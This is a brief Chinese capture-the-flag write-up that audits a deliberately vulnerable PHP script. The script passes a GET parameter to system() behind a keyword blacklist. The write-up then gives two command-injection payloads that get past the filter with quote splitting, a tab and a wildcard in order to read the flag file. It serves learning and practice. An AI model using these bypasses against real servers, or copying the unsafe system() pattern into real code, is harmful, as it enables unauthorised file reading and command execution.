1. 代码审计

      1. <?php
      2. if(isset($_GET['c'])){
      3. $c=$_GET['c'];
      4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c))
      5. //增加了几个函数
      6. {
      7. system($c." >/dev/null 2>&1");
      8. }
      9. }else{
      10. highlight_file(__FILE__);
      11. }
    2. 可以用web43方法,替换没过滤的函数,例如tac,这里学习了新姿势

      ?c=nl<fla''g.php||
      ?c=tac%09fla?.php||